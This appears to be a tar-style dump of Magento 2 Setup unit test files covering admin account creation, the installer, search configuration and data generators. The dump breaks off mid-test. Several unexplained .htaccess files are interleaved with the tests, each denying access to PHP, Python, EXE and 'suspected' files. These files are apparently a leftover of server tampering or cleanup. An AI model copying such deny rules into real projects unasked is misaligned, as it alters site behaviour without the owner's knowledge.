only insert once (admin role) $this->dbAdapter->expects(self::at(14)) ->method('insert') ->with(self::equalTo('pre_authorization_role'), self::anything()); $this->adminAccount->save(); } public function testSaveNewUserAdminRoleExists() { // existing admin role data $existingAdminRoleData = [ 'parent_id' => 0, 'tree_level' => 2, 'role_type' => 'U', 'user_id' => 1, 'user_type' => 2, 'role_name' => 'admin', 'role_id' => 1, ]; $returnValueMap = [ [ 'SELECT user_id, username, email FROM ' . $this->prefix . 'admin_user WHERE username = :username OR email = :email', ['username' => 'admin', 'email' => 'john.doe@test.com'], null, [], ], [ 'SELECT * FROM ' . $this->prefix . 'authorization_role WHERE user_id = :user_id AND user_type = :user_type', ['user_id' => 1, 'user_type' => 2], null, $existingAdminRoleData, ], ]; $this->dbAdapter ->expects($this->exactly(2)) ->method('fetchRow') ->willReturnMap($returnValueMap); // insert only once (new user) $this->dbAdapter->expects($this->at(3)) ->method('insert') ->with('pre_admin_user', $this->anything()); $this->dbAdapter->expects($this->at(6)) ->method('insert') ->with('pre_admin_passwords', $this->anything()); // after inserting new user $this->dbAdapter->expects($this->once())->method('lastInsertId')->willReturn(1); $this->adminAccount->save(); } public function testSaveNewUserNewAdminRole() { // special admin role data $administratorRoleData = [ 'parent_id' => 0, 'tree_level' => 1, 'role_type' => 'G', 'user_id' => 0, 'user_type' => 2, 'role_name' => 'Administrators', 'role_id' => 0, ]; $returnValueMap = [ [ 'SELECT user_id, username, email FROM ' . $this->prefix . 'admin_user WHERE username = :username OR email = :email', ['username' => 'admin', 'email' => 'john.doe@test.com'], null, [], ], [ 'SELECT * FROM ' . $this->prefix . 'authorization_role WHERE user_id = :user_id AND user_type = :user_type', ['user_id' => 1, 'user_type' => 2], null, [], ], [ 'SELECT * FROM ' . $this->prefix . 'authorization_role WHERE parent_id = :parent_id AND tree_level = :tree_level ' . 'AND role_type = :role_type AND user_id = :user_id ' . 'AND user_type = :user_type AND role_name = :role_name', [ 'parent_id' => 0, 'tree_level' => 1, 'role_type' => 'G', 'user_id' => 0, 'user_type' => 2, 'role_name' => 'Administrators', ], null, $administratorRoleData, ] ]; $this->dbAdapter ->expects($this->exactly(3)) ->method('fetchRow') ->willReturnMap($returnValueMap); // after inserting new user $this->dbAdapter->expects($this->once())->method('lastInsertId')->willReturn(1); // insert only (new user and new admin role and new admin password) $this->dbAdapter->expects($this->exactly(3))->method('insert'); $this->adminAccount->save(); } public function testSaveExceptionUsernameNotMatch() { $this->expectException('Exception'); $this->expectExceptionMessage('An existing user has the given email but different username.'); // existing user in db $existingUserData = [ 'email' => 'john.doe@test.com', 'username' => 'Another.name', ]; $this->dbAdapter->expects($this->exactly(2)) ->method('fetchRow')->willReturn($existingUserData); // should not alter db $this->dbAdapter->expects($this->never())->method('update'); $this->dbAdapter->expects($this->never())->method('insert'); $this->adminAccount->save(); } public function testSaveExceptionEmailNotMatch() { $this->expectException('Exception'); $this->expectExceptionMessage('An existing user has the given username but different email.'); $existingUserData = [ 'email' => 'another.email@test.com', 'username' => 'admin', ]; $this->dbAdapter->expects($this->exactly(2)) ->method('fetchRow')->willReturn($existingUserData); // should not alter db $this->dbAdapter->expects($this->never())->method('update'); $this->dbAdapter->expects($this->never())->method('insert'); $this->adminAccount->save(); } public function testSaveExceptionSpecialAdminRoleNotFound() { $this->expectException('Exception'); $this->expectExceptionMessage('No Administrators role was found, data fixture needs to be run'); $this->dbAdapter->expects($this->exactly(3))->method('fetchRow')->willReturn([]); $this->dbAdapter->expects($this->once())->method('lastInsertId')->willReturn(1); $this->adminAccount->save(); } public function testSaveExceptionPasswordEmpty() { $this->expectException('Exception'); $this->expectExceptionMessage('"Password" is required. Enter and try again.'); // alternative data must be used for this test $data = [ AdminAccount::KEY_FIRST_NAME => 'John', AdminAccount::KEY_LAST_NAME => 'Doe', AdminAccount::KEY_EMAIL => 'john.doe@test.com', AdminAccount::KEY_PASSWORD => '', AdminAccount::KEY_USER => 'admin', AdminAccount::KEY_PREFIX => '', ]; $adminAccount = new AdminAccount( $this->dbAdapter, $this->encryptor, $data ); // existing user data $existingUserData = [ 'email' => 'john.doe@test.com', 'username' => 'passMatch2Username', 'user_id' => 1, ]; $returnValueMap = [ [ 'SELECT user_id, username, email FROM admin_user WHERE username = :username OR email = :email', ['username' => 'admin', 'email' => 'john.doe@test.com'], null, $existingUserData, ] ]; $this->dbAdapter ->expects($this->exactly(1)) ->method('fetchRow') ->willReturnMap($returnValueMap); $this->dbAdapter->expects($this->never())->method('insert'); $this->dbAdapter->expects($this->never())->method('update'); $adminAccount->save(); } public function testSaveExceptionPasswordAndUsernameEqual() { $this->expectException('Exception'); $this->expectExceptionMessage('Password cannot be the same as the user name.'); // alternative data must be used for this test $data = [ AdminAccount::KEY_FIRST_NAME => 'John', AdminAccount::KEY_LAST_NAME => 'Doe', AdminAccount::KEY_EMAIL => 'john.doe@test.com', AdminAccount::KEY_PASSWORD => 'passMatch2Username', AdminAccount::KEY_USER => 'passMatch2Username', AdminAccount::KEY_PREFIX => '', ]; $adminAccount = new AdminAccount( $this->dbAdapter, $this->encryptor, $data ); // existing user data $existingUserData = [ 'email' => 'john.doe@test.com', 'username' => 'passMatch2Username', 'user_id' => 1, ]; $returnValueMap = [ [ 'SELECT user_id, username, email FROM admin_user WHERE username = :username OR email = :email', ['username' => 'passMatch2Username', 'email' => 'john.doe@test.com'], null, $existingUserData, ] ]; $this->dbAdapter ->expects($this->exactly(1)) ->method('fetchRow') ->willReturnMap($returnValueMap); $this->dbAdapter->expects($this->never())->method('insert'); $this->dbAdapter->expects($this->never())->method('update'); $adminAccount->save(); } } Magento/Setup/Test/Unit/Model/ObjectManagerProviderTest.php000077700000006325151323623130017735 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Model; use Laminas\ServiceManager\ServiceLocatorInterface; use Magento\Framework\App\ObjectManagerFactory; use Magento\Framework\Console\CommandListInterface; use Magento\Framework\ObjectManagerInterface; use Magento\Setup\Model\Bootstrap; use Magento\Setup\Model\ObjectManagerProvider; use Magento\Setup\Mvc\Bootstrap\InitParamListener; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; use Symfony\Component\Console\Application; use Symfony\Component\Console\Command\Command; /** * Test for \Magento\Setup\Model\ObjectManagerProvider */ class ObjectManagerProviderTest extends TestCase { /** * @var ServiceLocatorInterface|MockObject */ private $serviceLocatorMock; /** * @var Bootstrap|MockObject */ private $bootstrapMock; /** * @var ObjectManagerProvider|MockObject */ private $model; protected function setUp(): void { $this->serviceLocatorMock = $this->getMockForAbstractClass(ServiceLocatorInterface::class); $this->bootstrapMock = $this->createMock(Bootstrap::class); $this->model = new ObjectManagerProvider($this->serviceLocatorMock, $this->bootstrapMock); } public function testGet() { $initParams = ['param' => 'value']; $commands = [ new Command('setup:install'), new Command('setup:upgrade'), ]; $application = $this->getMockBuilder(Application::class) ->disableOriginalConstructor() ->getMockForAbstractClass(); $this->serviceLocatorMock ->expects($this->atLeastOnce()) ->method('get') ->willReturnMap( [ [InitParamListener::BOOTSTRAP_PARAM, $initParams], [ Application::class, $application, ], ] ); $commandListMock = $this->getMockForAbstractClass(CommandListInterface::class); $commandListMock->expects($this->once()) ->method('getCommands') ->willReturn($commands); $objectManagerMock = $this->getMockForAbstractClass(ObjectManagerInterface::class); $objectManagerMock->expects($this->once()) ->method('create') ->with(CommandListInterface::class) ->willReturn($commandListMock); $objectManagerFactoryMock = $this->getMockBuilder(ObjectManagerFactory::class) ->disableOriginalConstructor() ->getMock(); $objectManagerFactoryMock->expects($this->once()) ->method('create') ->with($initParams) ->willReturn($objectManagerMock); $this->bootstrapMock ->expects($this->once()) ->method('createObjectManagerFactory') ->willReturn($objectManagerFactoryMock); $this->assertInstanceOf(ObjectManagerInterface::class, $this->model->get()); foreach ($commands as $command) { $this->assertSame($application, $command->getApplication()); } } } Magento/Setup/Test/Unit/Model/Complex/PatternTest.php000077700000005336151323623130016546 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Model\Complex; use Magento\Setup\Model\Complex\Pattern; use PHPUnit\Framework\TestCase; class PatternTest extends TestCase { /** * Get pattern object * * @param array $patternData * * @return Pattern */ protected function getPattern($patternData) { $pattern = new Pattern(); $pattern->setHeaders(array_keys($patternData[0])); $pattern->setRowsSet($patternData); return $pattern; } /** * Data source for pattern * * @return array */ public function patternDataProvider() { $result = [ 0 => [ [ [ 'id' => '%s', 'name' => 'Static', 'calculated' => function ($index, $generatedKey) { return $index * 10 + $generatedKey; }, ], [ 'name' => 'xxx %s' ], [ 'name' => 'yyy %s' ], ], 'expectedCount' => 3, 'expectedRowsResult' => [ ['id' => '1', 'name' => 'Static', 'calculated' => 10], ['id' => '', 'name' => 'xxx 1', 'calculated' => ''], ['id' => '', 'name' => 'yyy 1', 'calculated' => ''], ], ], 1 => [ [ [ 'id' => '%s', 'name' => 'Dynamic %s', 'calculated' => 'calc %s', ], ], 'expectedCount' => 1, 'expectedRowsResult' => [ ['id' => '1', 'name' => 'Dynamic 1', 'calculated' => 'calc 1'], ], ], ]; return $result; } /** * Test pattern object * * @param array $patternData * @param int $expectedRowsCount * @param array $expectedRowsResult * * @dataProvider patternDataProvider * @test * * @return void */ public function testPattern($patternData, $expectedRowsCount, $expectedRowsResult) { $pattern = $this->getPattern($patternData); $this->assertEquals($pattern->getRowsCount(), $expectedRowsCount); foreach ($expectedRowsResult as $key => $expectedRow) { $this->assertEquals($expectedRow, $pattern->getRow(floor($key / $pattern->getRowsCount()) + 1, $key)); } } } Magento/Setup/Test/Unit/Model/Complex/ComplexGeneratorTest.php000077700000004527151323623130020410 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Model\Complex; use Magento\Setup\Model\Complex\Generator; use Magento\Setup\Model\Complex\Pattern; use PHPUnit\Framework\TestCase; class ComplexGeneratorTest extends TestCase { /** * Pattern instance * * @var Pattern */ protected $_pattern; /** * Get pattern instance * * @return Pattern */ protected function getPattern() { if (!$this->_pattern instanceof Pattern) { $patternData = [ [ 'id' => '%s', 'name' => 'Static', 'calculated' => function ($index) { return $index * 10; }, ], [ 'name' => 'xxx %s' ], [ 'name' => 'yyy %s' ], ]; $this->_pattern = new Pattern(); $this->_pattern->setHeaders(array_keys($patternData[0])); $this->_pattern->setRowsSet($patternData); } return $this->_pattern; } /** * Test complex generator iterator interface * * @return void */ public function testIteratorInterface() { $model = new Generator($this->getPattern(), 2); $rows = []; foreach ($model as $row) { $rows[] = $row; } $this->assertEquals( [ ['id' => '1', 'name' => 'Static', 'calculated' => 10], ['id' => '', 'name' => 'xxx 1', 'calculated' => ''], ['id' => '', 'name' => 'yyy 1', 'calculated' => ''], ['id' => '2', 'name' => 'Static', 'calculated' => 20], ['id' => '', 'name' => 'xxx 2', 'calculated' => ''], ['id' => '', 'name' => 'yyy 2', 'calculated' => ''], ], $rows ); } /** * Test generator getIndex * * @return void */ public function testGetIndex() { $model = new Generator($this->getPattern(), 4); for ($i = 0; $i < 32; $i++) { $this->assertEquals($model->getIndex($i), floor($i / $this->getPattern()->getRowsCount()) + 1); } } } Magento/Setup/Test/Unit/Model/Complex/.htaccess000077700000000177151323623130015354 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Model/Customer/CustomerDataGeneratorTest.php000077700000005431151323623130021561 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Model\Customer; use Magento\Setup\Model\Address\AddressDataGenerator; use Magento\Setup\Model\Customer\CustomerDataGenerator; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; use Magento\Customer\Model\ResourceModel\Group\CollectionFactory; class CustomerDataGeneratorTest extends TestCase { /** * @var array */ private $customerStructure = [ 'customer', 'addresses', ]; /** * @var array */ private $config = [ 'addresses-count' => 10 ]; /** * @var AddressDataGenerator|MockObject */ private $addressGeneratorMock; /** * @var CustomerDataGenerator */ private $customerGenerator; /** * @var CollectionFactory|MockObject */ private $groupCollectionFactoryMock; protected function setUp(): void { $this->groupCollectionFactoryMock = $this->getMockBuilder(CollectionFactory::class) ->disableOriginalConstructor() ->addMethods( ['getAllIds'] ) ->onlyMethods(['create']) ->getMock(); $this->groupCollectionFactoryMock ->expects($this->once()) ->method('create') ->willReturn($this->groupCollectionFactoryMock); $this->groupCollectionFactoryMock ->expects($this->once()) ->method('getAllIds') ->willReturn([1]); $this->addressGeneratorMock = $this->createMock(AddressDataGenerator::class); $this->customerGenerator = new CustomerDataGenerator( $this->groupCollectionFactoryMock, $this->addressGeneratorMock, $this->config ); } public function testEmail() { $customer = $this->customerGenerator->generate(42); $this->assertEquals('user_42@example.com', $customer['customer']['email']); } public function testAddressGeneration() { $this->addressGeneratorMock ->expects($this->exactly(10)) ->method('generateAddress'); $customer = $this->customerGenerator->generate(42); $this->assertCount($this->config['addresses-count'], $customer['addresses']); } public function testCustomerGroup() { $customer = $this->customerGenerator->generate(1); $this->assertEquals(1, $customer['customer']['group_id']); } public function testCustomerStructure() { $customer = $this->customerGenerator->generate(42); foreach ($this->customerStructure as $customerField) { $this->assertArrayHasKey($customerField, $customer); } } } Magento/Setup/Test/Unit/Model/Customer/.htaccess000077700000000177151323623130015546 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Model/SearchConfigTest.php000077700000013212151323623130016045 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Model; use Magento\Framework\TestFramework\Unit\Helper\ObjectManager; use Magento\Search\Model\SearchEngine\Validator; use Magento\Search\Setup\CompositeInstallConfig; use Magento\Setup\Model\SearchConfig; use Magento\Setup\Model\SearchConfigOptionsList; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; class SearchConfigTest extends TestCase { /** * @var SearchConfig */ private $searchConfig; /** * @var SearchConfigOptionsList */ private $searchConfigOptionsList; /** * @var CompositeInstallConfig|MockObject */ private $installConfigMock; /** * @var Validator|MockObject */ private $searchEngineValidatorMock; protected function setUp(): void { $this->installConfigMock = $this->getMockBuilder(CompositeInstallConfig::class) ->disableOriginalConstructor() ->getMock(); $this->searchEngineValidatorMock = $this->getMockBuilder(Validator::class) ->disableOriginalConstructor() ->getMock(); $objectManager = new ObjectManager($this); $this->searchConfigOptionsList = $objectManager->getObject(SearchConfigOptionsList::class); $this->searchConfig = $objectManager->getObject( SearchConfig::class, [ 'searchConfigOptionsList' => $this->searchConfigOptionsList, 'searchValidator' => $this->searchEngineValidatorMock, 'installConfig' => $this->installConfigMock ] ); } /** * @param array $installInput * @param array $searchInput * @dataProvider installInputDataProvider */ public function testSaveConfiguration(array $installInput, array $searchInput) { $this->installConfigMock->expects($this->once())->method('configure')->with($searchInput); $this->searchEngineValidatorMock ->expects($this->once()) ->method('validate') ->willReturn([]); $this->searchConfig->saveConfiguration($installInput); } /** * @param array $installInput * @param array $searchInput * @dataProvider installInputDataProvider */ public function testSaveConfigurationInvalidSearchEngine(array $installInput, array $searchInput) { $this->expectException(\Magento\Setup\Exception::class); $this->expectExceptionMessage('Search engine \'other-engine\' is not an available search engine.'); $installInput['search-engine'] = 'other-engine'; $searchInput['search-engine'] = 'other-engine'; $this->installConfigMock->expects($this->never())->method('configure'); $this->searchConfig->saveConfiguration($installInput); } /** * @param array $installInput * @param array $searchInput * @dataProvider installInputDataProvider */ public function testSaveConfigurationValidationFail(array $installInput, array $searchInput) { $this->expectException(\Magento\Framework\Validation\ValidationException::class); $this->expectExceptionMessage('Could not connect to host'); $this->installConfigMock->expects($this->once())->method('configure')->with($searchInput); $this->searchEngineValidatorMock ->expects($this->once()) ->method('validate') ->willReturn(['Could not connect to host']); $this->searchConfig->saveConfiguration($installInput); } public function installInputDataProvider() { return [ [ 'all' => [ 'amqp-host' => '', 'amqp-port' => '5672', 'amqp-user' => '', 'amqp-password' => '', 'amqp-virtualhost' => '/', 'amqp-ssl' => '', 'amqp-ssl-options' => '', 'db-host' => 'localhost', 'db-name' => 'magento', 'db-user' => 'root', 'db-engine' => null, 'db-password' => 'root', 'db-prefix' => null, 'db-model' => null, 'db-init-statements' => null, 'skip-db-validation' => false, 'http-cache-hosts' => null, 'base-url' => 'http://magento.dev', 'language' => 'en_US', 'timezone' => 'America/Chicago', 'currency' => 'USD', 'use-rewrites' => '1', 'use-secure' => null, 'base-url-secure' => null, 'use-secure-admin' => null, 'admin-use-security-key' => null, 'search-engine' => 'elasticsearch7', 'elasticsearch-host' => 'localhost', 'elasticsearch-port' => '9200', 'elasticsearch-enable-auth' => false, 'elasticsearch-index-prefix' => 'magento2', 'elasticsearch-timeout' => 15, 'no-interaction' => false, ], 'search' => [ 'search-engine' => 'elasticsearch7', 'elasticsearch-host' => 'localhost', 'elasticsearch-port' => '9200', 'elasticsearch-enable-auth' => false, 'elasticsearch-index-prefix' => 'magento2', 'elasticsearch-timeout' => 15, ] ] ]; } } Magento/Setup/Test/Unit/Model/_files/dictionary.csv000077700000000027151323623130016264 0ustar00one two three four fiveMagento/Setup/Test/Unit/Model/_files/.htaccess000077700000000177151323623130015206 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Model/InstallerTest.php000077700000105234151323623130015455 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Model { use Magento\Backend\Setup\ConfigOptionsList; use Magento\Framework\App\Area; use Magento\Framework\App\Cache\Manager; use Magento\Framework\App\DeploymentConfig; use Magento\Framework\App\DeploymentConfig\Reader; use Magento\Framework\App\DeploymentConfig\Writer; use Magento\Framework\App\Filesystem\DirectoryList; use Magento\Framework\App\MaintenanceMode; use Magento\Framework\App\ResourceConnection; use Magento\Framework\App\State\CleanupFiles; use Magento\Framework\Component\ComponentRegistrar; use Magento\Framework\Config\ConfigOptionsListConstants; use Magento\Framework\Config\File\ConfigFilePool; use Magento\Framework\DB\Adapter\AdapterInterface; use Magento\Framework\DB\Ddl\Table; use Magento\Framework\Filesystem; use Magento\Framework\Filesystem\Directory\WriteInterface; use Magento\Framework\Filesystem\DriverPool; use Magento\Framework\Math\Random; use Magento\Framework\Model\ResourceModel\Db\Context; use Magento\Framework\Module\ModuleList\Loader; use Magento\Framework\Module\ModuleListInterface; use Magento\Framework\ObjectManagerInterface; use Magento\Framework\Registry; use Magento\Framework\Setup\FilePermissions; use Magento\Framework\Setup\LoggerInterface; use Magento\Framework\Setup\Patch\PatchApplier; use Magento\Framework\Setup\Patch\PatchApplierFactory; use Magento\Framework\Setup\SampleData\State; use Magento\Framework\Setup\SchemaListener; use Magento\Setup\Controller\ResponseTypeInterface; use Magento\Setup\Model\AdminAccount; use Magento\Setup\Model\AdminAccountFactory; use Magento\Setup\Model\ConfigModel; use Magento\Setup\Model\DeclarationInstaller; use Magento\Setup\Model\Installer; use Magento\Setup\Model\ObjectManagerProvider; use Magento\Setup\Model\PhpReadinessCheck; use Magento\Setup\Module\ConnectionFactory; use Magento\Setup\Module\DataSetup; use Magento\Setup\Module\DataSetupFactory; use Magento\Setup\Module\Setup; use Magento\Setup\Module\SetupFactory; use Magento\Setup\Validator\DbValidator; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; use Magento\Setup\Model\SearchConfig; /** * @SuppressWarnings(PHPMD.TooManyFields) * @SuppressWarnings(PHPMD.CouplingBetweenObjects) */ class InstallerTest extends TestCase { /** * @var array */ private $request = [ ConfigOptionsListConstants::INPUT_KEY_DB_HOST => '127.0.0.1', ConfigOptionsListConstants::INPUT_KEY_DB_NAME => 'magento', ConfigOptionsListConstants::INPUT_KEY_DB_USER => 'magento', ConfigOptionsListConstants::INPUT_KEY_ENCRYPTION_KEY => 'encryption_key', ConfigOptionsList::INPUT_KEY_BACKEND_FRONTNAME => 'backend', ]; /** * @var Installer */ private $object; /** * @var FilePermissions|MockObject */ private $filePermissions; /** * @var Writer|MockObject */ private $configWriter; /** * @var Reader|MockObject */ private $configReader; /** * @var DeploymentConfig|MockObject */ private $config; /** * @var ModuleListInterface|MockObject */ private $moduleList; /** * @var Loader|MockObject */ private $moduleLoader; /** * @var DirectoryList|MockObject */ private $directoryList; /** * @var AdminAccountFactory|MockObject */ private $adminFactory; /** * @var LoggerInterface|MockObject */ private $logger; /** * @var Random|MockObject */ private $random; /** * @var MockObject */ private $connection; /** * @var MaintenanceMode|MockObject */ private $maintenanceMode; /** * @var Filesystem|MockObject */ private $filesystem; /** * @var MockObject */ private $objectManager; /** * @var ConfigModel|MockObject */ private $configModel; /** * @var CleanupFiles|MockObject */ private $cleanupFiles; /** * @var DbValidator|MockObject */ private $dbValidator; /** * @var SetupFactory|MockObject */ private $setupFactory; /** * @var DataSetupFactory|MockObject */ private $dataSetupFactory; /** * @var State|MockObject */ private $sampleDataState; /** * @var ComponentRegistrar|MockObject */ private $componentRegistrar; /** * @var MockObject|PhpReadinessCheck */ private $phpReadinessCheck; /** * @var \Magento\Framework\Setup\DeclarationInstaller|MockObject */ private $declarationInstallerMock; /** * @var SchemaListener|MockObject */ private $schemaListenerMock; /** * Sample DB configuration segment * @var array */ private static $dbConfig = [ 'default' => [ ConfigOptionsListConstants::KEY_HOST => '127.0.0.1', ConfigOptionsListConstants::KEY_NAME => 'magento', ConfigOptionsListConstants::KEY_USER => 'magento', ConfigOptionsListConstants::KEY_PASSWORD => '', ] ]; /** * @var Context|MockObject */ private $contextMock; /** * @var PatchApplier|MockObject */ private $patchApplierMock; /** * @var PatchApplierFactory|MockObject */ private $patchApplierFactoryMock; protected function setUp(): void { $this->filePermissions = $this->createMock(FilePermissions::class); $this->configWriter = $this->createMock(Writer::class); $this->configReader = $this->createMock(Reader::class); $this->config = $this->createMock(DeploymentConfig::class); $this->moduleList = $this->getMockForAbstractClass(ModuleListInterface::class); $this->moduleList->expects($this->any())->method('getOne')->willReturn( ['setup_version' => '2.0.0'] ); $this->moduleList->expects($this->any())->method('getNames')->willReturn( ['Foo_One', 'Bar_Two'] ); $this->moduleLoader = $this->createMock(Loader::class); $this->directoryList = $this->createMock(DirectoryList::class); $this->adminFactory = $this->createMock(AdminAccountFactory::class); $this->logger = $this->getMockForAbstractClass(LoggerInterface::class); $this->random = $this->createMock(Random::class); $this->connection = $this->getMockForAbstractClass(AdapterInterface::class); $this->maintenanceMode = $this->createMock(MaintenanceMode::class); $this->filesystem = $this->createMock(Filesystem::class); $this->objectManager = $this->getMockForAbstractClass(ObjectManagerInterface::class); $this->contextMock = $this->createMock(Context::class); $this->configModel = $this->createMock(ConfigModel::class); $this->cleanupFiles = $this->createMock(CleanupFiles::class); $this->dbValidator = $this->createMock(DbValidator::class); $this->setupFactory = $this->createMock(SetupFactory::class); $this->dataSetupFactory = $this->createMock(DataSetupFactory::class); $this->sampleDataState = $this->createMock(State::class); $this->componentRegistrar = $this->createMock(ComponentRegistrar::class); $this->phpReadinessCheck = $this->createMock(PhpReadinessCheck::class); $this->declarationInstallerMock = $this->createMock(DeclarationInstaller::class); $this->schemaListenerMock = $this->createMock(SchemaListener::class); $this->patchApplierFactoryMock = $this->createMock(PatchApplierFactory::class); $this->patchApplierMock = $this->createMock(PatchApplier::class); $this->patchApplierFactoryMock->expects($this->any())->method('create')->willReturn( $this->patchApplierMock ); $this->object = $this->createObject(); } /** * Instantiates the object with mocks * @param MockObject|bool $connectionFactory * @param MockObject|bool $objectManagerProvider * @return Installer */ private function createObject($connectionFactory = false, $objectManagerProvider = false) { if (!$connectionFactory) { $connectionFactory = $this->createMock(ConnectionFactory::class); $connectionFactory->expects($this->any())->method('create')->willReturn($this->connection); } if (!$objectManagerProvider) { $objectManagerProvider = $this->createMock(ObjectManagerProvider::class); $objectManagerProvider->expects($this->any())->method('get')->willReturn($this->objectManager); } return new Installer( $this->filePermissions, $this->configWriter, $this->configReader, $this->config, $this->moduleList, $this->moduleLoader, $this->adminFactory, $this->logger, $connectionFactory, $this->maintenanceMode, $this->filesystem, $objectManagerProvider, $this->contextMock, $this->configModel, $this->cleanupFiles, $this->dbValidator, $this->setupFactory, $this->dataSetupFactory, $this->sampleDataState, $this->componentRegistrar, $this->phpReadinessCheck ); } /** * @param array $request * @param array $logMessages * @dataProvider installDataProvider * @SuppressWarnings(PHPMD.ExcessiveMethodLength) */ public function testInstall(array $request, array $logMessages) { $this->config->expects($this->atLeastOnce()) ->method('get') ->willReturnMap( [ [ConfigOptionsListConstants::CONFIG_PATH_DB_CONNECTION_DEFAULT, null, true], [ConfigOptionsListConstants::CONFIG_PATH_CRYPT_KEY, null, true], ['modules/Magento_User', null, '1'] ] ); $allModules = ['Foo_One' => [], 'Bar_Two' => []]; $this->declarationInstallerMock->expects($this->once())->method('installSchema'); $this->moduleLoader->expects($this->any())->method('load')->willReturn($allModules); $setup = $this->createMock(Setup::class); $table = $this->createMock(Table::class); $connection = $this->getMockBuilder(AdapterInterface::class) ->setMethods(['getSchemaListener', 'newTable', 'getTables']) ->getMockForAbstractClass(); $connection->expects($this->any())->method('getSchemaListener')->willReturn($this->schemaListenerMock); $connection->expects($this->once())->method('getTables')->willReturn([]); $setup->expects($this->any())->method('getConnection')->willReturn($connection); $table->expects($this->any())->method('addColumn')->willReturn($table); $table->expects($this->any())->method('setComment')->willReturn($table); $table->expects($this->any())->method('addIndex')->willReturn($table); $connection->expects($this->any())->method('newTable')->willReturn($table); $resource = $this->createMock(ResourceConnection::class); $this->contextMock->expects($this->any())->method('getResources')->willReturn($resource); $resource->expects($this->any())->method('getConnection')->willReturn($connection); $dataSetup = $this->createMock(DataSetup::class); $dataSetup->expects($this->any())->method('getConnection')->willReturn($connection); $cacheManager = $this->createMock(Manager::class); $cacheManager->expects($this->any())->method('getAvailableTypes')->willReturn(['foo', 'bar']); $cacheManager->expects($this->exactly(3))->method('setEnabled')->willReturn(['foo', 'bar']); $cacheManager->expects($this->exactly(3))->method('clean'); $cacheManager->expects($this->exactly(3))->method('getStatus')->willReturn(['foo' => 1, 'bar' => 1]); $appState = $this->getMockBuilder(\Magento\Framework\App\State::class) ->disableOriginalConstructor() ->disableArgumentCloning() ->getMock(); $appState->expects($this->once()) ->method('setAreaCode') ->with(Area::AREA_GLOBAL); $registry = $this->createMock(Registry::class); $searchConfigMock = $this->getMockBuilder(SearchConfig::class)->disableOriginalConstructor()->getMock(); $this->setupFactory->expects($this->atLeastOnce())->method('create')->with($resource)->willReturn($setup); $this->dataSetupFactory->expects($this->atLeastOnce())->method('create')->willReturn($dataSetup); $this->objectManager->expects($this->any()) ->method('create') ->willReturnMap([ [Manager::class, [], $cacheManager], [\Magento\Framework\App\State::class, [], $appState], [ PatchApplierFactory::class, ['objectManager' => $this->objectManager], $this->patchApplierFactoryMock ], ]); $this->patchApplierMock->expects($this->exactly(2))->method('applySchemaPatch')->willReturnMap( [ ['Bar_Two'], ['Foo_One'], ] ); $this->patchApplierMock->expects($this->exactly(2))->method('applyDataPatch')->willReturnMap( [ ['Bar_Two'], ['Foo_One'], ] ); $this->objectManager->expects($this->any()) ->method('get') ->willReturnMap([ [\Magento\Framework\App\State::class, $appState], [Manager::class, $cacheManager], [DeclarationInstaller::class, $this->declarationInstallerMock], [Registry::class, $registry], [SearchConfig::class, $searchConfigMock] ]); $this->adminFactory->expects($this->any())->method('create')->willReturn( $this->createMock(AdminAccount::class) ); $this->sampleDataState->expects($this->once())->method('hasError')->willReturn(true); $this->phpReadinessCheck->expects($this->once())->method('checkPhpExtensions')->willReturn( ['responseType' => ResponseTypeInterface::RESPONSE_TYPE_SUCCESS] ); $this->filePermissions->expects($this->any()) ->method('getMissingWritablePathsForInstallation') ->willReturn([]); $this->filePermissions->expects($this->once()) ->method('getMissingWritableDirectoriesForDbUpgrade') ->willReturn([]); call_user_func_array( [ $this->logger->expects($this->exactly(count($logMessages)))->method('log'), 'withConsecutive' ], $logMessages ); $this->logger->expects($this->exactly(2)) ->method('logSuccess') ->withConsecutive( ['Magento installation complete.'], ['Magento Admin URI: /'] ); $this->object->install($request); } /** * @return array * @SuppressWarnings(PHPMD.ExcessiveMethodLength) */ public function installDataProvider() { return [ [ 'request' => $this->request, 'logMessages' => [ ['Starting Magento installation:'], ['File permissions check...'], ['Required extensions check...'], ['Enabling Maintenance Mode...'], ['Installing deployment configuration...'], ['Installing database schema:'], ['Schema creation/updates:'], ['Module \'Foo_One\':'], ['Module \'Bar_Two\':'], ['Schema post-updates:'], ['Module \'Foo_One\':'], ['Module \'Bar_Two\':'], ['Installing search configuration...'], ['Installing user configuration...'], ['Enabling caches:'], ['Current status:'], ['foo: 1'], ['bar: 1'], ['Installing data...'], ['Data install/update:'], ['Disabling caches:'], ['Current status:'], ['Module \'Foo_One\':'], ['Module \'Bar_Two\':'], ['Data post-updates:'], ['Module \'Foo_One\':'], ['Module \'Bar_Two\':'], ['Enabling caches:'], ['Current status:'], ['Caches clearing:'], ['Cache cleared successfully'], ['Disabling Maintenance Mode:'], ['Post installation file permissions check...'], ['Write installation date...'], ['Sample Data is installed with errors. See log file for details'] ], 